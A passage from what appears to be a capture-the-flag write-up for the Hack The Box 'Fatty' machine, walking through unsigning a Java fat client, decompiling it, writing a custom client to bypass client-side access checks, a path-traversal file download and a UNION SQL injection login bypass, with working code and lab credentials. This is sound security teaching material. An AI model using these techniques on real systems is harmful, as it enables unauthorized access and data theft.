Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=

Name: org/springframework/jmx/export/metadata/ManagedOperationParameter.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=

[...]

We just delete all of these signatures and additionally remove the files 1.RSA and 1.SF from the META-INF folder.

pentester@kali:~/unzipped$ cat META-INF/MANIFEST.MF | head -n 8 | tee META-INF/MANIFEST.MF
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_222
Main-Class: htb.fatty.client.run.Starter
pentester@kali:~/unzipped$ rm META-INF/1.RSA && rm META-INF/1.SF

When we now repack the unzipped contents to a .jar file again, the resulting .jar is no longer signed and should start without any problems:

3.3 – Exploring the Client

Now that we have access to the client, we should take a look at its functionalities. The general structure of the client is quite easy. It opens a giant text box in the middle of the window and provides an open and clear button at the bottom. Clicking these buttons at the moment seems to be useless, since the clear button does nothing and the open button spawns an error message:

The main functionality of the client seems to be accessible by using the menu bar at the top. Each menu item does open a drop down, which contains certain functions exposed by the client. Unfortunately, it seems like some of the functions are not accessible for our current account, since they are disabled inside the graphical user interface of the client. Here is a list of functions that we can invoke:

  • File
    • Exit
  • Profile
    • Whoami
  • ServerStatus
  • FileBrowser
    • Configs
    • Notes
    • Mail
  • ConnectionTest
    • Ping
  • Help
    • Contact
    • About

Let’s start with the whoami function. This function simply prints some short information about our current user onto the text box. We can see that our username is qtc and our role is user. This explains why some of the client functionalities are not usable for us, as they are probably only accessible for users with a higher privileged role.

More interesting is the FileBrowser functionality. When selecting one of the drop down fields, we get a list of filenames that are probably stored on the remote server:

Functions to list files on a remote server are often prone to path-traversal attacks. However, currently we are not able to control any folder names that are used for the listing and therefore unable to check for this kind vulnerability. But wait! Do you remember the error from the open button? It said that we need to list some folder first. Maybe we can now use the open button to open one of the listed files?

Indeed! By entering one of the listed filenames inside the input field and hitting the open button, the contents of that file are displayed inside of the text box. Since we have now user controlled input that is used to open a file, we can try to exploit a path-traversal vulnerability.

Well, not what we want but at least a partial success. The client filtered our input but does respond with an error message that contains an internal path on the server. First of all, this tells us that we are really fetching files from the file system of the remote server. Furthermore, we may be able to use the error message to determine which kind of filtering is applied. Maybe the filtering is done in a vulnerable way and we are still able to fetch arbitrary files?

To determine the kind of filtering, two different queries are sufficient. First of all we try the following:

Payload: ..
Response: [-] Failed to open file '/opt/fatty/files/configs/..'.

So the .. does not cause any problems and the server does not reject it. Now we try the following payload:

Payload: ../
Response: [-] Failed to open file '/opt/fatty/files/configs'.

As you can see, the server has stripped our payload. It looks like the server is filtering the sequence /../ and by using some other payloads you can confirm this behavior. Such a filtering can sometimes be bypassed by using a payload like: ././.././, but in this case the filter seems to be applied recursively until all /../ sequences are removed.

However, we can still hope to find something interesting inside the files that are listed by the FileBrowser and indeed there are a few files that contain interesting information:

  • In multiple files major security issues inside the client/server are mentioned. This tells us (spoiler alert) that there are some vulnerabilities present.
  • Inside the file dave.txt from the Mail folder, Dave is telling us that our current user account is the only one that is left inside the database. Furthermore, he mentions that administrative user accounts seem to have access to exploitable functionalities. Finally he says something about preventing a SQL injection attack by using a large timeout inside the login procedure.
Hey qtc, 

until the issues from the current pentest are fixed we have removed all administrative users from the database.
Your user account is the only one that is left. Since you have only user permissions, this should prevent exploitation
of the other issues. Furthermore, we implemented a timeout on the login procedure. Time heavy SQL injection attacks are
therefore no longer possible.

Best regards,
Dave

In our current position, the most relevant information is probably the SQL injection vulnerability inside the login procedure, but its quite unclear how to exploit it. Consider it is a kind of injection where a payload like ' or 1=1 -- lets you bypass the username and password field. Even in this case we would not benefit. Dave told us, that qtc is the only account which is left inside the database and therefore such an injection would only allow us to login as qtc. Extracting other information using the SQLi seems also not to be possible due to the timeout. During the first login you may have noticed a delay of about 5 seconds. Using some blind SQLi to exfiltrate information with a delay of 5 seconds seems not to be a good approach. So lets keep all this information and mind and look at the rest of the client.

The rest of the accessible client functionality looks quite boring. The Ping function does only reply with a Pong message and the functions contained in the Help drop down do only print some information about the client. Hm… So what is the next step?

3.4 – Inspecting the Network Traffic


Like mentioned in the fat client introduction, inspecting the network traffic is always worth a try. If we are lucky, we will find that communication is done using a known protocol like HTTP or XML and we can easily intercept and modify messages. So lets look at the wireshark dump of the login process:

As you can see, the network traffic is TLS encrypted and we can not view the plaintext data. Using the fact that fatty-client.jar is run by our own user and that we have root privileges on our machine, it is certainly possible to dump the required TLS keys in order to decrypt the traffic. However, there is one easier thing that we can try. We simply change the entry for server.fatty.htb in our /etc/hosts file and let it point to our own host. Then we open a TLS listener and check how the initial login message looks like. If we just open an openssl s_server with a self-signed certificate, we get the following error once the connection comes in:

pentester@kali:~/www$ openssl s_server -accept 1338 -key key.pem -cert cert.pem
Using default temp DH parameters
ACCEPT
ERROR
140675522520192:error:14094416:SSL routines:ssl3_read_bytes:sslv3 alert certificate unknown:../ssl/record/rec_layer_s3.c:1536:SSL alert number 46
shutting down SSL

It seems that fatty-client.jar does not like our self-signed certificate. This is a common behavior of fat clients and they expect a certain server certificate from the remote server (certificate pinning). So what to do now? Among the different files that are present inside fatty-client.jar, you may noticed a file fatty.p12. This is a key store file, that is used to store certificates. These are probably used by the fat client as a client-side certificate. We can extract the corresponding certificate and key by using the following commands:

pentester@kali:~/www$ openssl pkcs12 -nodes -in fatty.p12 -out fatty.cert
pentester@kali:~/www$ openssl pkcs12 -nocerts -in fatty.p12 -out fatty.key

The extraction will require a password, but this needs to be present inside the source code of fatty-client.jar, since the clients needs access to the key store. In the next section, where we decompile the client, you can verify that the password can be found inside of the class htb.fatty.shared.connection.TrustedFatty and has a value of
secureclarabibi123. If you inspect the extracted certificate, you will notice that it is exactly the same that the server is using. Opening a s_server instance with the fatty.cert and fatty.key should therefore work fine:

pentester@kali:~/www$ openssl s_server -accept 1338 -key fatty.key -cert fatty.cert 
ACCEPT
-----BEGIN SSL SESSION PARAMETERS-----
MHoCAQECAgMDBALAKAQgmEz/z23g/28vbRokQbJGSy/cfmF9orUA8YqL05QMw70E
MGgqHQdtmXDSVp19dySbjvqvC0eUtFVWlVX64UiVm6ZJsHb6AI2ZQ0HYIw4EGY0D
96EGAgRdlX/nogQCAhwgpAYEBAEAAACtAwIBAQ==
-----END SSL SESSION PARAMETERS-----
Shared ciphers:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:AES256-SHA256:DHE-RSA-AES256-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:AES128-SHA256:DHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:AES128-SHA:DHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256
Signature Algorithms: ECDSA+SHA512:RSA+SHA512:ECDSA+SHA384:RSA+SHA384:ECDSA+SHA256:RSA+SHA256:DSA+SHA256:ECDSA+SHA224:RSA+SHA224:DSA+SHA224:ECDSA+SHA1:RSA+SHA1:DSA+SHA1
Shared Signature Algorithms: ECDSA+SHA512:RSA+SHA512:ECDSA+SHA384:RSA+SHA384:ECDSA+SHA256:RSA+SHA256:DSA+SHA256:ECDSA+SHA224:RSA+SHA224:DSA+SHA224
Supported Elliptic Curve Point Formats: uncompressed
Supported Elliptic Groups: P-256:P-384:P-521:K-283:B-283:K-409:B-409:K-571:B-571:secp256k1
Shared Elliptic groups: P-256:P-384:P-521
---
No server certificate CA names sent
CIPHER is ECDHE-RSA-AES256-SHA384
Secure Renegotiation IS supported

We now get an incoming connection, but nothing is sent by fatty-client.jar. Well, seems like the server has to do the first step and we can try to enter some stuff in our s_server terminal. If we just enter a random string we get a Connection Error by fatty-client.jar. So fatty-client.jar probably expects some structured input. To determine the corresponding format, we can just connect to the application server using openssl s_client and check what the original server is sending:

pentester@kali:/www$ openssl s_client -quiet -connect 10.10.10.174:1337
Can't use SSL_get_servername
depth=0 C = DE, ST = Here, L = There, O = Fatty, OU = FatClient Development, CN = Mr. Secure, emailAddress = secure@nonexistend.nonono
verify error:num=18:self signed certificate
verify return:1
depth=0 C = DE, ST = Here, L = There, O = Fatty, OU = FatClient Development, CN = Mr. Secure, emailAddress = secure@nonexistend.nonono
verify return:1
�����n��Ia{��;�����K8�S/ս������!����)BEHÍrv�qR�2�������V����wo%��VN����R�l�h%I�����˳�^������]�̨��+̵{*�7f7b���

Urgh. This already looks like a binary protocol. However, one can notice that the actual output changes on each connection. So maybe it is sufficient to present fatty-client.jar some input with the same length? Lets try it:

pentester@kali:/www$ openssl s_client -quiet -connect 10.10.10.174:1337 2> /dev/null > file
pentester@kali:/www$ wc -c file
128 file
pentester@kali:~/www$ openssl s_server -accept 1338 -key fatty.key -cert fatty.cert
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
��"W��0R�oD�Wwk��AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��'
��Dqtc:5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046

The response of fatty-client.jar is quite interesting. It seems to reflect the 128 characters that we have sent together with some binary data and the login information. While the username is transmitted in plain text, the password seems to be hashed. Unfortunately, from the first two messages we do not see any standard protocols like HTTP or XML.

3.5 – Decompiling Fatty


So far we have identified some interesting stuff inside the client, but were not able to exploit anything. It is now time to leave the graphical user interface behind and to write our own client. Using a own client implementation we may be able to do the following things:

  • The graphical user interface of the client had disabled a lot of functions for our user account qtc. Using our own client, we may be able to invoke these functions manually, without having a proper user role.
  • When using the open button, we noticed that our input gets filtered regarding the sequence /../. This filtering is may applied on the client side and can be skipped when using a own client implementation.
  • There is a possible SQLi vulnerability inside the login procedure of the client. Even if we identify the correct syntax to exploit it, there is a 5 seconds delay on the login function, which makes data extraction difficult. Maybe this delay is also implemented on the client side and we can bypass it by using our own client.

In order to write a own client, we need first of all access to the source code of the original fatty client. Therefore, we will now use a decompiler to restore the source code of the fatty-client.jar file. As already said in the fat client introduction, the selection of decompiler is a matter of choice. I usually prefer the CFR Decompiler and the following command line shows you how to decompile fatty-client.jar by using cfr-0.146.jar.

pentester@kali:~/$ mkdir decompiled
pentester@kali:~/$ java -jar cfr-0.146.jar --outputpath ./decompiled fatty-client.jar

The code that is relevant for us is now located inside of ./decompiled/htb and I recommend to open this folder by using a tool like e.g. Visual Studio Code. We can now start to investigate the source code and to build our own client.

3.6 – Building your own Fatty Client


If you haven’t created an Eclipse (or what ever technology you decided to use) project yet, it is now the time to do this. Just assign your project an arbitrary name and make sure that fatty-client.jar is imported inside your Build Path. If you do now know how to do this, read the corresponding section from the fat client introduction.

Since the number of custom classes inside the fatty-client.jar is quite low, we will use the Top-Down Approach for investigating the source code and this means, that we are starting with the main function of the client. In order to identify the location of the main function, we can simply take a look at the MANIFEST.MF of fatty-client.jar.

pentester@kali:~/$ cat unzipped/META-INF/MANIFEST.MF 
Manifest-Version: 1.0
[...]
Main-Class: htb.fatty.client.run.Starter

So the main function should be contained inside htb/fatty/client/run/Starter.java.

/*
 * Decompiled with CFR 0.146.
 */
package htb.fatty.client.run;

import htb.fatty.client.gui.ClientGuiTest;
import htb.fatty.shared.logging.FattyLogger;

public class Starter {
    public static void main(String[] argv) {
        FattyLogger logger = new FattyLogger();
        logger.logInfo("[+] Fatty starts running. Run Fatty, run!");
        logger.logInfo("[+] Starting UI!");
        ClientGuiTest ui = new ClientGuiTest();
        ui.setVisible(true);
    }
}

As you can see, the startup function is quite short. The first notable thing is, that a FattyLogger object is created. This means, that the client does support some kind of logging, which could be helpful when we encounter more complex problems. But for now we will ignore this class and only keep in mind that logging is available.

The next notable thing is that a ClientGuiTest object is generated and the visible property is set to true. From the function and class names one can already guess that these lines of code are responsible for spawning the graphical user interface. All other functionality of the client seems to be implemented somewhere else and probably gets invoked after certain actions occur inside the GUI. So our next step is to look at the ClientGuiTest class and try to determine where the communication with the application server starts.

The ClientGuiTest class contains much more code, but most of it is related to spawning the user interface. To find the interesting parts of the code, we can search for keywords like login. The following section looks promising:

JButton btnNewButton = new JButton("Login ");
btnNewButton.addActionListener(new ActionListener() {

     public void actionPerformed(ActionEvent e) {
            String username = tfUsername.getText().trim();
            String password = new String(tfPassword.getPassword());
            user = new User();
            user.setUsername(username);
            user.setPassword(password);

            try {
                conn = Connection.getConnection();
            } catch (ConnectionException e1) {
                JOptionPane.showMessageDialog(LoginPanel,
                        "Connection Error!",
                        "Error",
                        JOptionPane.ERROR_MESSAGE);
                return;
            }
            if( conn.login(user) ) {
                JOptionPane.showMessageDialog(LoginPanel,
                        "Login Successful!",
                        "Login",
                        JOptionPane.INFORMATION_MESSAGE);
                LoginPanel.setVisible(false);

                String roleName = conn.getRoleName();
                user.setRoleByName(roleName);

                if( roleName.contentEquals("admin")) {
                    uname.setEnabled(true);
                    users.setEnabled(true);
                    netstat.setEnabled(true);
                    ipconfig.setEnabled(true);
                    changePassword.setEnabled(true);
                }
                if( !roleName.contentEquals("anonymous")) {
                    whoami.setEnabled(true);
                    configs.setEnabled(true);
                    notes.setEnabled(true);
                    mail.setEnabled(true);
                    ping.setEnabled(true);
                }
                invoker = new Invoker(conn, user);
                controlPanel.setVisible(true);
            
            } else {
                JOptionPane.showMessageDialog(LoginPanel, "Login Failed!", "Login", JOptionPane.INFORMATION_MESSAGE);
                conn.close();
            }
        }
    }
);

In this code snipped we see that an ActionListener function is defined on the login button, which executes the following steps:

  1. It takes the username and password from the login form and creates a User object with this information.
  2. It tries to establish a connection using the getConnection() function from the Connection class.
  3. If a connection can be established, the previously generated User object is used to perform a login attempt.
  4. If the login is successful, the client obtains the rolename for the current user from the Connection object. Depending on the rolename, the client enables certain parts of the user-interface.
  5. Finally, the Connection and the User object are used to generate an Invoker object.

This is actually all information we need to implement the login function within our own client. However, only implementing the login is kind of boring and we can already take a look how the different functions of the fat client are implemented. The probably easiest function is Ping and just searching for this term gives us the corresponding implementation:

ping.addActionListener(
    new ActionListener() {
         public void actionPerformed(ActionEvent e) {
             String response = "";
                try {
                    response = invoker.ping();
                } catch (MessageBuildException | MessageParseException e1) {
                    JOptionPane.showMessageDialog(controlPanel,
                            "Failure during message building/parsing.",
                            "Error",
                            JOptionPane.ERROR_MESSAGE);
                } catch (IOException e2 ) {
                    JOptionPane.showMessageDialog(controlPanel,
                            "Unable to contact the server. If this problem remains, please close and reopen the client.",
                            "Error",
                            JOptionPane.ERROR_MESSAGE);
                }
                textPane.setText(response);
         }
    }
);

The biggest part of this code is error handling stuff and the actual invocation of the ping function is just a single line: invoker.ping(). So it seems that the Invoker object is all we need to call the different functions that are exposed by the graphical user interface of the client. With this knowledge we should be able to write the first version of our own client, that performs a login and calls the ping method.

3.7 – Ready for Take of


With the information we have collected so far, we can write the following simple skeleton for our own client:

import java.io.IOException;

import htb.fatty.client.connection.Connection;
import htb.fatty.client.methods.Invoker;
import htb.fatty.shared.message.MessageBuildException;
import htb.fatty.shared.message.MessageParseException;
import htb.fatty.shared.resources.User;

public class ConnectionTest {

    public static void main( String[] args ) {

        Connection conn = null;
        try {
            conn = Connection.getConnection();
        } catch( Exception e ) {
            System.out.println("[-] Connection attempt failed: " + e.getMessage());
            System.exit(1);
        }

        User user = new User("qtc", "clarabibi");
        if( conn.login(user) ) {
            System.out.println("[+] Login succesful!");
        } else {
            System.out.println("[-] Login failed!");
            System.exit(1);
        }

        String roleName = conn.getRoleName();
        user.setRoleByName(roleName);
        System.out.println("[+] Current role: " + roleName);

        Invoker invo = new Invoker(conn, user);
        String serverResponse = "";
        try {
            serverResponse = invo.ping();
        } catch (MessageParseException e) {
            System.out.println("[-] Failure during message parsing.");
            System.exit(1);
        } catch (MessageBuildException e) {
            System.out.println("[-] Failure during message building.");
            System.exit(1);
        } catch (IOException e) {
            System.out.println("[-] Failure during message sending.");
            System.exit(1);
        }
        System.out.println("[+] Server response is: " + serverResponse);
    }
}

Again, most stuff of this code performs error handling and the actual productive code can be reduced to a few lines:

conn = Connection.getConnection();
User user = new User("qtc", "clarabibi");

conn.login(user)
String roleName = conn.getRoleName();

Invoker invo = new Invoker(conn, user);
serverResponse = invo.ping();

Notice that the roleName related stuff seems unnecessary, but since the server sends the roleName by default during the client-server communication, we would break the communication flow if we just ignore this message. Therefore, we need to make this call, even it does not provide any useful information for us.

If you imported fatty-client.jar correctly and launch the above displayed code, you will get the following result:

[+] Login succesful!
[+] Current role: user
[+] Server response is: Pong

This output shows that we are now able to call the different methods of the client manually. The first thing that we can now test from this position, is how access control is handled on methods that were disabled for our user account. As an example, we can take the method uname that can be invoked by replacing invo.ping() with invo.uname() in the code displayed above. If access control would be implemented only by disabling the corresponding functions inside the graphical user interface, we would now already be able to call this method. However, unfortunately we get the following result:

[+] Login succesful!
[+] Current role: user
[+] Server response is: Error: Method 'uname' is not allowed for this user account

Notice that the string Server response is was added by our code and is no clear indication whether the error was thrown by the application server or our client. After searching for the string not allowed for this user, we find out that the class htb.fatty.client.methods.Invoker is throwing this error. By looking at the corresponding code, we can see that our local client is performing the access control checks:

public String uname() throws MessageParseException, MessageBuildException, IOException {
    String methodName = new Object(){}.getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    }

As you can see, the relevant function is checkAccess from the AccessCheck class. To skip client side validation of method calls, we can just patch the checkAccess function in our own code to return always false. This should enable all methods for our low privileged user.

Like already mentioned in the fat client introduction, in Eclipse it is sufficient to create a local version of the class that is then preferred by the class loader. The following minimal implementation should be sufficient:

package htb.fatty.client.methods;

import htb.fatty.shared.resources.User;

public class AccessCheck {

    public static boolean checkAccess(String methodName, User user) {
        return false;
    }
}

But when we run the method invo.uname() after applying the patch, we get the following error message:

[+] Login succesful!
[+] Current role: user
Exception in thread "main" java.lang.SecurityException: sealing violation: package htb.fatty.client.methods is sealed
    at java.net.URLClassLoader.getAndVerifyPackage(URLClassLoader.java:400)
    at java.net.URLClassLoader.definePackageInternal(URLClassLoader.java:420)
    at java.net.URLClassLoader.defineClass(URLClassLoader.java:452)
    [...]

Our new code is causing a sealing violation, since the package htb.fatty.client.methods is a sealed package. We have now two options, the first is to implement all classes of htb.fatty.client.methods in our own eclipse project. This prevents the mix of local classes with classes defined inside the .jar file, which is the reason for the sealing violation. The second one would be to unpack fatty-client.jar again and to remove the Sealed: True option from the MANIFEST.MF file.

Since there is only one other class inside of htb.fatty.client.methods (the Invoker class), we will choose the first option. We just copy the Invoker class from the decompiled code into our own project. Now htb.fatty.client.methods has a full local implementation and sealing should cause no problems anymore. We can now check again if we are allowed to invoke the invo.uname() method.

[+] Login succesful!
[+] Current role: user
[+] Server response is: Error: Method 'uname' is not allowed for this user account

No success. But by inspecting the network traffic that is caused by our client or by patching the error message that is used for client side violations, we can verify that this error message is now thrown by the application server. So it seems that access control is also implemented on the server-side (probably by using similar methods as on the client side). From here it is definitely worth to check all functions for broken access control issues, but we will find that for all methods server-side verification seems to be in place.

3.8 – Off by One


The next thing we are interested in is to check the file browsing functionalities within our own client. When looking at the ClientGuiTest class again, we can determine that a file listing for e.g. the config folder is obtained like this:

public void actionPerformed(ActionEvent e) {
    String response = "";
    ClientGuiTest.this.currentFolder = "configs";
    try {
        response = ClientGuiTest.this.invoker.showFiles("configs");
    }
    catch (MessageBuildException | MessageParseException e1) {
        JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
    }
    catch (IOException e2) {
        JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
    }
    textPane.setText(response);
}

The function sets first of all a global variable currentFolder to the value configs and then calls the showFiles function on the Invoker object. The showFiles method is more interesting as ping or even uname, since it takes a parameter that is probably sent to the application server. From the client functionality we can guess, that the submitted parameter is the name of the desired folder on the server and we can now also test this parameter for path-traversal vulnerabilities (notice that from the GUI you are not able to modify this parameter at all). In our previously used code, we simply have to exchange the invo.uname() function with invo.showFiles("<payload>").

After some testing, you will notice that the same filtering seems to apply as for the filename. As soon as the character sequence /../ is contained in the folder name, it gets stripped. However, as in the case of the open function a simple .. payload does not get filtered. Therefore, we can at least take a look at the parent folder by using invo.showFiles("..").

[+] Login succesful!
[+] Current role: user
[+] Server response is: logs tar start.sh fatty-server.jar files

Nice, we obtained a file listing for the parent folder! And even better, fatty-server.jar is contained in it! This is one of the most exciting situations during a fat client penetration test. If you find any way to download the application server executable, you can exactly determine how the different fat client functionalities are implemented on the server side. This makes the identification of SQL or command injection vulnerabilities a lot easier. The next step is to check how we can download these files by using our custom client.

Looking at the ClientGuiTest class again, we can find that opening files is done by the following function call:

public void actionPerformed(ActionEvent e) {
    if (ClientGuiTest.this.currentFolder == null) {
        JOptionPane.showMessageDialog(controlPanel, "No folder selected! List a directory first!", "Error", 0);
        return;
    }
    String response = "";
    String fileName = ClientGuiTest.this.fileTextField.getText();
    fileName.replaceAll("[^a-zA-Z0-9.]", "");
    try {
        response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName);
    }
    catch (MessageBuildException | MessageParseException e1) {
        JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
    }
    catch (IOException e2) {
        JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
    }
    textPane.setText(response);

There are two things that are interesting about this function:

  1. It implements a client-side filtering, that removes characters that do not match regular expression [a-zA-Z0-9.]. This could mean, that filtering is only performed on the client-side and the server does not apply any filter at all.
  2. The open function on the Invoker object does take two parameters. One is obviously the filename, while the second one is the value of the global variable currentFolder. We know that the filename parameter is filtered for path traversal attacks. However, as the foldername is not directly controlled by the user, it is likely that this value isn’t filtered.

After playing around a while with the invo.open("foldername", "filename") function, it seems like foldername and filename are both filtered with the already known filter. So we have no way of injecting a /../ payload in one of these parameters. However, what is if foldername and filename are validated separately from each other? In this case we could submit .. for the foldername and e.g. start.sh for the filename. If the two strings are filtered first and are then concatenated, this could allow us to download files from the parent folder. Lets give it a try and use a call to invo.open("..", "start.sh"):

[+] Login succesful!
[+] Current role: user
[+] Server response is: #!/bin/sh

# Unfortunately alpine docker containers seems to have problems with services.
# I tried both, ssh and cron to start via openrc, but non of them worked. Therefore, 
# both services are now started as part of the docker startup script.


# Start cron service
crond -b

# Start ssh server
/usr/sbin/sshd

# Start Java application server
su - qtc /bin/sh -c "java -jar /opt/fatty/fatty-server.jar"

Cool, that worked fine. Having downloaded the start.sh script is a nice start and it already gives us some valuable information. The fatty-server.jar seems to run in an alpine docker container and cron and ssh services seem also to be present. This could come in handy, but first we are interested in downloading the fatty-server.jar application.

The problem is now that our current code does only work for files that are human readable. Downloading an executable file containing some byte-code cannot be done by using the plain invo.open(...) call and we need to patch it a little bit. Let us first of all take a look at the original method implementation:

 public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {

        String methodName = new Object() {}.getClass().getEnclosingMethod().getName(); 
        logger.logInfo("[+] Method '" + methodName + "' was called by user '" + user.getUsername() + "'.");
        if( AccessCheck.checkAccess(methodName, user) ) {
            return "Error: Method '" + methodName + "' is not allowed for this user account";
        }

        action = new ActionMessage(this.sessionID, "open");
        action.addArgument(foldername);
        action.addArgument(filename);
        this.sendAndRecv();
        if(this.response.hasError()) {
            return "Error: Your action caused an error on the application server!";
        }
        String response = "";
        try {
            response = this.response.getContentAsString();
        } catch( Exception e ) {
            response = "Unable to convert byte[] to String. Did you read in a binary file?" ;
        }
        return response;
    }

As you can see the function gets its response from this.response, which is a ResponseMessage object. Apart from getContentAsString(), the ResponseMessage class does also support a plain getContent() function, which returns a bytearray instead of a String. Inside our local Invoker class we can now create a new method e.g. with name bOpen, which simply does the same as open but returns the bytearray from a getContent() call:

public byte[] bOpen(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {

    action = new ActionMessage(this.sessionID, "open");
    action.addArgument(foldername);
    action.addArgument(filename);
    this.sendAndRecv();

    return this.response.getContent();
}

To keep it short, we just skipped any error handling and throw exceptions instead. Now we need to write the bytearray to disk and we should get the executable .jar file. Here is the full code of our current client, that downloads the fatty-server.jar executable from the server:

import java.io.FileOutputStream;
import java.io.IOException;

import htb.fatty.client.connection.Connection;
import htb.fatty.client.methods.Invoker;
import htb.fatty.shared.message.MessageBuildException;
import htb.fatty.shared.message.MessageParseException;
import htb.fatty.shared.resources.User;

public class PathTraversalFiles {


    public static void main( String[] args ) {

        Connection conn = null;
        try {
            conn = Connection.getConnection();
        } catch( Exception e ) {
            System.out.println("[-] Connection attempt failed: " + e.getMessage());
        }

        User user = new User("qtc", "clarabibi");
        if( conn.login(user) ) {
            System.out.println("[+] Login succesful!");
        } else {
            System.out.println("[-] Login failed!");
        }

        String roleName = conn.getRoleName();
        user.setRoleByName(roleName);
        System.out.println("[+] Current role: " + roleName);

        Invoker invo = new Invoker(conn, user);
        byte[] serverResponse = null;
        try {
            serverResponse = invo.bOpen("..", "fatty-server.jar");
        } catch (MessageParseException e) {
            System.out.println("[-] Failure during message parsing.");
            System.exit(1);
        } catch (MessageBuildException e) {
            System.out.println("[-] Failure during message building.");
            System.exit(1);
        } catch (IOException e) {
            System.out.println("[-] Failure during message sending.");
            System.exit(1);
        }

        FileOutputStream fos;
        try {
            System.out.println("[+] Saving file to '/tmp/fatty-server.jar'.");
            fos = new FileOutputStream("/tmp/fatty-server.jar");
            fos.write(serverResponse);
            fos.close();
        } catch (IOException e) {
            System.out.println("[-] Failed to save file from server.");
            System.exit(1);
        }

    }
}

After this Java code is executed, we can see that fatty-server.jar is written to the /tmp directory:

pentester@kali:/tmp$ ls -lh fatty-server.jar
-rw-r--r-- 1 pentester pentester 11M Oct  3 13:41 fatty-server.jar

3.9 – The SQL Injection


Now that we have the server executable, we can also decompile it and take look at the source code. A good starting point is of course the login procedure, since we already got some hints that it is vulnerable to SQL injection attacks. To find the class that is responsible for the SQL query, we can simply start a search for strings like SELECT. We will find the class htb.fatty.server.database.FattyDbSession, which performs the user lookup during login.

public User checkLogin(User user) throws LoginException {
    Statement stmt = null;
    ResultSet rs = null;
    User newUser = null;

    try {
        stmt = this.conn.createStatement();
        rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");

        // To prevent bruteforce sql injection attacks
        try {
            Thread.sleep(3000);
        } catch (InterruptedException e) {
            return null;
        }

        if ( rs.next() ) {

            int id = rs.getInt("id");
            String username = rs.getString("username");
            String email = rs.getString("email");
            String password = rs.getString("password");
            String role = rs.getString("role");
            newUser = new User(id, username, password, email, Role.getRoleByName(role), false);

            if( newUser.getPassword().equalsIgnoreCase(user.getPassword())) {
                return newUser;
            } else {
                throw(new LoginException("Wrong Password!"));
            }
        } else {
            throw(new LoginException("Wrong Username!"));
        }
    } catch (SQLException e) {
        logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
        logger.logError("[-] Exception was: '" + e.getMessage() + "'");
    }
    return null;
}

The checkLogin function is obviously vulnerable against SQL injection attacks, but username and password cannot be bypassed at the same time. The application uses the supplied username to fetch the corresponding database entry and then compares the entered password with the password from the obtained entry. So we cannot simply use a bypass like ' or 1=1 -- for both, username and password.

But this is also not what we want. Remember that Dave told us, that qtc is the only user account that was kept in the database. Therefore, to login as another higher privileged user is not possible. Instead we could try to exfiltrate other information from the database, but also this sounds not very promising, since there is a manual query delay of three seconds.

Is the SQL injection now unusable for us? The answer is no and exploiting this SQLi is actually pretty easy once you find the trick. We can simply use a UNION query to login with a fake user account that does not even exist inside the database. Consider e.g. the following SQL query:

SELECT id,username,email,password,role FROM users WHERE username='nope' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin'

Since nope is no valid user account, the first SELECT query does not return anything. However, by using the UNION operator and a second SELECT statement, that just returns some static data, we can generate a result with user controlled values for the whole SQL query. The rest of the code, that is using the query result, will then take the faked password field with a value of fakepassword and compare it to the password that was entered during login. Since both values are user controlled, we can easily pass this check. Furthermore, the rest of the code will use the faked rolename field with a value of admin and will use this for access control checks. Summarized, the SQLi allows us to login as a non existing admin user. Sounds good!

However, there is one minor problem which prevents us from exploiting the SQLi from the graphical user interface. We already saw that the client sends the password as a hash to the server. When looking closer to the source code, we can see that the password hash is not hashed again on the server side. Instead the hash transmitted by the client is just compared against the password that is stored inside the database. By inspecting the htb.fatty.shared.resources.User class, we find the following function responsible for calculating the password hash:

String hashString = this.username + password + "clarabibimakeseverythingsecure";
MessageDigest digest = null;
try {
    digest = MessageDigest.getInstance("SHA-256");
} catch (NoSuchAlgorithmException e) {
    e.printStackTrace();
}
byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));

